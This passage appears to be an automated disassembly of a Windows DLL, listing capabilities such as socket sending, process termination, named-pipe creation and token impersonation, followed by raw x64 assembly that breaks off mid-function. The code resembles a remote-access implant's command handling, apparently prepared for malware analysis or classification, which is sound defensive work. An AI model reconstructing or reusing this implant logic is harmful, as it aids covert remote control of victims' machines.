Function at 0x18001867c
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create pipe
Enumerate files on windows
Enumerate files recursively
Enumerate processes
Get common file path
Get disk information
Move file
Resolve dns
Send data
Send data on socket
Set current directory
Set socket configuration
Terminate process
Terminate process by name
Write file on windows
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.180015fec
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.1800161e8
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.1800161e8
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.1800161e8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.180016284
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.180012028
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.180016284
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.180012028
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.180012028
mov rcx, r15
call fcn.1800160e0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x180049480]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000d044
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x1800326f0]
lea rcx, [rsp + 0x20]
call fcn.18000d14c
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.1800161e4
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d1b8
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d020
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, qword [0x180049480]
mov rdi, rcx
mov r14d, 0x2000
mov ecx, r14d
movsxd rbx, edx
call fcn.18001f284
mov r8d, r14d
mov rcx, rdi
mov rdx, rax
mov rbp, rax
mov byte [rbx + rdi], 0
call fcn.180012028
jmp 0x18000c998
cmp dword [rsi], 1
jne 0x18000c991
lea rcx, [rsi + 4]
mov r8, rbp
mov rax, rcx
sub r8, rcx
movzx edx, byte [rax]
movzx r9d, byte [rax + r8]
sub edx, r9d
jne 0x18000c972
inc rax
test r9d, r9d
jne 0x18000c95d
test edx, edx
jne 0x18000c991
and dword [rsi], edx
mov r8, r14
call fcn.18001f530
lea rcx, [rsi + 0x2004]
mov r8, r14
xor edx, edx
call fcn.18001f530
mov rsi, qword [rsi + 0x4008]
test rsi, rsi
jne 0x18000c94b
mov r8, r14
xor edx, edx
mov rcx, rbp
call fcn.18001f530
mov rcx, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.18001f244
push rbx
sub rsp, 0xd0
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
xor r9d, r9d
call fcn.18000da3c
test eax, eax
je 0x18000d417
lea rcx, [rsp + 0x20]
call fcn.18000d83c
test eax, eax
je 0x18000d40b
mov ebx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0xb8]
add rbx, rcx
cmp word [rsp + 0xb0], 2
je 0x18000d3fa
movsxd rdx, dword [rsp + 0x30]
call fcn.180013df0
test eax, eax
je 0x18000d40b
mov edx, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
call rbx
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.18000d268
add rsp, 0xd0
pop rbx
ret
cmp edx, 0x3ff
jg 0x18000f457
push rbx
sub rsp, 0x420
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.180020940
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x420
pop rbx
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
mov ecx, eax
call fcn.18001c680
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.180015fec
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.1800161e8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180016284
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.180016284
lea rcx, [rsp + 0x20]
call fcn.18001624c
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.180012028
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18002084c
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18002084c
test bl, 1
je 0x18000f5b3
lea rcx, [rsp + 0x80]
call fcn.1800120ac
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f58f
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000fd44
mov rcx, qword [rsp + 0x80]
call fcn.1800120e4
jmp 0x18000f5d0
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f5bb
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000fd44
mov rcx, r12
call fcn.1800160e0
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.18001f530
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000f6b4
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.180020940
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180017930
lea rcx, [rsp + 0x30]
call fcn.180014548
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
push rbx
sub rsp, 0x820
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001f530
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000f746
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
add rsp, 0x820
pop rbx
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.18001c444
mov edx, 4
lea r8d, [rdx + 0x22]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.180015fec
mov edx, 0x4000
mov rcx, rax
mov rsi, rax
call fcn.1800161e8
mov r13d, 0x400
mov rcx, rsi
mov edx, r13d
mov rbp, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rsi
mov r12, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rsi
mov r14, rax
call fcn.1800161e8
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180016104
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r12
call fcn.180016284
test eax, eax
jne 0x18000f814
mov rcx, rsi
call fcn.1800160e0
jmp 0x18000f88f
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r14
call fcn.180016284
test eax, eax
je 0x18000f80a
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r15
call fcn.180016284
test eax, eax
je 0x18000f80a
lea rcx, [rsp + 0x30]
mov r8d, 0x4000
mov rdx, rbp
call fcn.180016284
test eax, eax
je 0x18000f80a
call fcn.18001e0fc
lea rax, [rsp + 0x48]
mov r9, rbp
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r8, r15
mov rdx, r14
mov rcx, r12
call fcn.180011478
call fcn.18001e12c
mov rcx, rsi
call fcn.1800160e0
lea rcx, [rsp + 0x48]
call fcn.180014548
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.18001f530
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov ecx, 0x2000
mov word [rbp + 0x17], r12w
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x13], 0x101
call fcn.180015fec
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800161e8
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.180016104
lea rcx, [rbp - 0x41]
call fcn.180016114
lea rcx, [rbp - 0x41]
mov r8d, 0x2000
mov rdx, rsi
mov ebx, eax
call fcn.180016284
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000f96a
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180017780
mov rcx, r14
call fcn.1800160e0
lea rcx, [rbp - 0x59]
call fcn.180014548
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
jmp 0x18002e9f8
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp dword [section..data], ebx
je 0x18000fa15
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.180016114
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, ebx
mov dword [0x180049488], eax
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.1800162fc
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180016114
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.180016068
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.1800161e4
mov edi, eax
call fcn.18000f10c
jmp 0x18000fab2
mov edx, r15d
mov rcx, r14
call fcn.18000fec8
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000faf2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000fa93
mov ecx, 0x46
call fcn.18000e65c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000fac6
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ebx, edx
mov rdi, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x51]
mov r8d, ebx
mov rdx, rdi
lea r14d, [rax + 0xea60]
call fcn.180016104
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x51]
mov r8d, 0x80
call fcn.180016284
lea rcx, [rbp - 0x51]
call fcn.180016068
lea rcx, [rbp - 0x51]
mov rdi, rax
call fcn.1800161e4
xor ebx, ebx
mov dword [rbp + 0x77], eax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.1800147a0
test eax, eax
jne 0x18000fbc7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000fbab
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000fbab
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000fb72
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x39]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000e67c
jmp 0x18000fc49
mov rcx, qword [rbp - 0x59]
and qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7f]
lea rdx, [rbp + 0x77]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x18000fc21
mov ebx, 0x2000
mov rcx, qword [rbp - 0x59]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp + 0x7f]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000fc21
add esi, dword [rbp + 0x7f]
mov eax, dword [rbp + 0x77]
cmp esi, eax
jb 0x18000fbf0
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x59]
call fcn.18001c754
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001f284
mov rdi, rax
test rax, rax
je 0x18000fd2d
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.180016284
mov rcx, rdi
test eax, eax
jne 0x18000fcc7
call fcn.18001f244
jmp 0x18000fd2d
mov rdx, rbx
call fcn.180020620
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000fd13
lea rcx, [rsp + 0x20]
call fcn.1800161e4
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.180016068
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.1800207bc
mov rcx, rsi
call fcn.1800204e0
mov rcx, rdi
jmp 0x18000fcc0
mov rcx, rdi
call fcn.18001f244
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000e590
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp qword [0x1800494e8], 0
mov rbx, r8
mov edi, edx
mov rsi, rcx
jne 0x18000ffcc
mov ecx, 0x4c
call fcn.18001b434
test eax, eax
jle 0x18000ffc5
movsxd rcx, eax
call fcn.1800106bc
test eax, eax
jne 0x18000ffcc
lea ecx, [rax + 0x56]
call fcn.18000e65c
jmp 0x180010018
mov ecx, 0x55
jmp 0x18000ffbe
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
dec eax
je 0x18001000b
dec eax
je 0x18000fffc
dec eax
jne 0x180010018
mov rcx, rbx
call fcn.180010414
jmp 0x180010018
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.1800104f4
jmp 0x180010018
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.180010028
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
cmp qword [0x1800494e8], 0
movaps xmmword [rax - 0x48], xmm6
jne 0x18001012d
mov ecx, 0x56
jmp 0x1800102c3
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 0x79]
call fcn.180016104
lea rcx, [rbp - 0x79]
call fcn.180016114
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x29]
mov esi, eax
call fcn.1800160a8
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x19]
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x30], xmm0
call fcn.1800160a8
mov ecx, esi
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x20], xmm0
call fcn.180010634
mov rbx, rax
test rax, rax
jne 0x18001018a
lea ecx, [rax + 0x57]
jmp 0x1800102c3
cmp dword [rax], 3
jne 0x1800102be
mov rcx, rsi
call fcn.180010840
mov r8d, dword [rbx + 0x20]
mov rdx, qword [rbx + 0x18]
lea rcx, [rbp - 0x51]
call fcn.180016104
lea rdx, [rbp - 0x51]
lea rcx, [rbp + 7]
call fcn.1800160a8
lea rdx, [rbp - 0x51]
lea rcx, [rbp - 9]
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x39], xmm6
call fcn.1800160a8
movsxd r12, dword [rsp + 0x28]
movsxd rbx, dword [rsp + 0x38]
psrldq xmm6, 8
movups xmm0, xmmword [rax]
lea r13d, [r12 + 4]
movd eax, xmm6
mov dword [rbp + 0x77], eax
add eax, 4
movups xmmword [rbp - 0x61], xmm0
psrldq xmm0, 8
add eax, ebx
movd r15d, xmm0
add r13d, r15d
add eax, r13d
movsxd rcx, eax
mov dword [rbp + 0x7f], eax
call fcn.18001f284
mov r14, rax
test rax, rax
je 0x1800102aa
mov rdx, qword [rsp + 0x30]
mov r8, rbx
mov rcx, rax
call fcn.18001f920
mov ecx, r13d
lea rdi, [rbx + r14]
call sub.WS2_32.dll_ntohl
mov ecx, r15d
mov dword [rdi], eax
call sub.WS2_32.dll_ntohl
mov rdx, qword [rbp - 0x61]
mov dword [rdi + 4], eax
add rdi, 8
movsxd rbx, r15d
mov rcx, rdi
mov r8, rbx
call fcn.18001f920
mov rdx, qword [rsp + 0x20]
add rdi, rbx
mov rcx, rdi
mov r8, r12
call fcn.18001f920
movsxd r8, dword [rbp + 0x77]
mov rdx, qword [rbp - 0x39]
lea rcx, [r12 + rdi]
call fcn.18001f920
mov rcx, rsi
call fcn.180010778
mov ecx, dword [r14]
mov ebx, dword [rbp + 0x7f]
call sub.WS2_32.dll_ntohl
lea r8d, [rbx - 8]
lea rdx, [r14 + 8]
mov ecx, eax
call fcn.18001867c
mov rcx, r14
call fcn.18001f244
jmp 0x1800102c8
mov ecx, 0x59
call fcn.18000e65c
mov rcx, rsi
call fcn.180010778
jmp 0x1800102c8
mov ecx, 0x58
call fcn.18000e65c
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
cmp qword [0x1800494e8], 0
jne 0x180010319
mov ecx, 0x56
jmp 0x1800103ee
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
lea rcx, [rsp + 0x20]
mov edi, eax
call fcn.180016068
lea rcx, [rsp + 0x20]
mov r12, rax
call fcn.1800161e4
mov ecx, edi
movsxd r14, eax
call fcn.180010654
mov r15, rax
test rax, rax
jne 0x180010366
lea ecx, [rax + 0x57]
jmp 0x1800103ee
mov rcx, rdi
call fcn.18001069c
cmp eax, 2
jne 0x1800103e9
mov rcx, rdi
call fcn.180010678
mov rbx, rax
lea ebp, [rax + r14]
movsxd rcx, ebp
call fcn.18001f284
mov rsi, rax
test rax, rax
je 0x1800103e2
mov rcx, rdi
call fcn.180010840
movsxd rbx, ebx
mov rdx, r15
mov r8, rbx
mov rcx, rsi
call fcn.18001f920
mov rcx, rdi
call fcn.180010778
lea rcx, [rbx + rsi]
mov r8, r14
mov rdx, r12
call fcn.18001f920
mov ecx, dword [rsi]
call sub.WS2_32.dll_ntohl
lea r8d, [rbp - 8]
lea rdx, [rsi + 8]
mov ecx, eax
call fcn.18001867c
mov rcx, rsi
call fcn.18001f244
jmp 0x1800103f3
mov ecx, 0x59
jmp 0x1800103ee
mov ecx, 0x58
call fcn.18000e65c
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [0x180042030]
cmp rcx, 0xffffffffffffffff
je 0x1800108c1
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x180042028]
cmp rcx, 0xffffffffffffffff
je 0x180010910
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1800108ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ntohs
mov edx, eax
add rsp, 0x20
pop rbx
jmp fcn.18000e590
mov rax, qword [0x180042028]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 0x24]
mov qword [0x18004d858], rax
mov rax, rbx
add rsp, 0x20
pop rbx
jmp rax
mov ecx, 1
add rsp, 0x20
pop rbx
jmp fcn.18000e65c
cmp edx, 0x100
jge 0x1800109b9
push rbx
sub rsp, 0x140
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001f920
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
lea rcx, [rsp + 0x40]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x180042028], rax
mov qword [0x180042020], rax
mov qword [0x180042030], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x180042020], rax
test rax, rax
je 0x1800109b1
lea rcx, [0x180010aa0]
xor edx, edx
call fcn.18001da08
mov qword [0x180042030], rax
add rsp, 0x140
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000d044
cmp qword [0x18004d858], 0
je 0x180010a0e
call fcn.18001e0fc
mov r8, qword [0x18004d858]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010b70
call fcn.18001e12c
jmp 0x180010a55
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180010a4b
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010b70
mov rcx, qword [rsp + 0x68]
call fcn.18001c754
jmp 0x180010a55
mov ecx, 0x3b
call fcn.18000e65c
lea rcx, [rsp + 0x20]
call fcn.1800161e4
test eax, eax
je 0x180010a83
lea rcx, [rsp + 0x20]
call fcn.1800161e4
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d1b8
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000d020
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.180015fec
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.1800161e8
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.1800161e8
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.180016104
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.180016354
lea rdx, [0x180032770]
mov rcx, rsi
call fcn.180020620
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18001184c
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.180020ea4
mov rcx, rdi
call fcn.180020f18
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.180020ea4
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x18001182d
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x180011826
mov ecx, 0x18
call fcn.18001f284
mov rcx, qword [0x180049500]
mov r8d, dword [0x180049508]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
